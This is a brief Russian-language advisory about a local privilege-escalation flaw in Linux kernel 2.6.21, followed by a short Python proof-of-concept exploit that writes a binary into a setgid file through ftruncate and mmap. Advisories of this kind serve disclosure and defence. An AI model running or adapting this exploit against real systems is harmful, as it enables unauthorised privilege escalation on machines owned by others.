Программа: Linux Kernel 2.6.21
Уязвимость позволяет локальному злоумышленнику выполнить вредоносные действия
с повышенными привилегиями на целевой системе. Уязвимость существует из-за
ошибки в проверке входных данных в функции 'truncate()'. Атакующий может
передать специально сформированные данные, что приведет к выполнению
произвольного кода с повышенными привилегиями.
Эксплоит:
#!/usr/bin/env python
import os
import mmap
bin = file("/usr/bin/id").read()
fd = os.open("id", os.O_RDWR | os.O_CREAT | os.O_EXCL, 02750)
os.ftruncate(fd, len(bin))
m = mmap.mmap(fd, len(bin))
m[:] = bin
m.flush()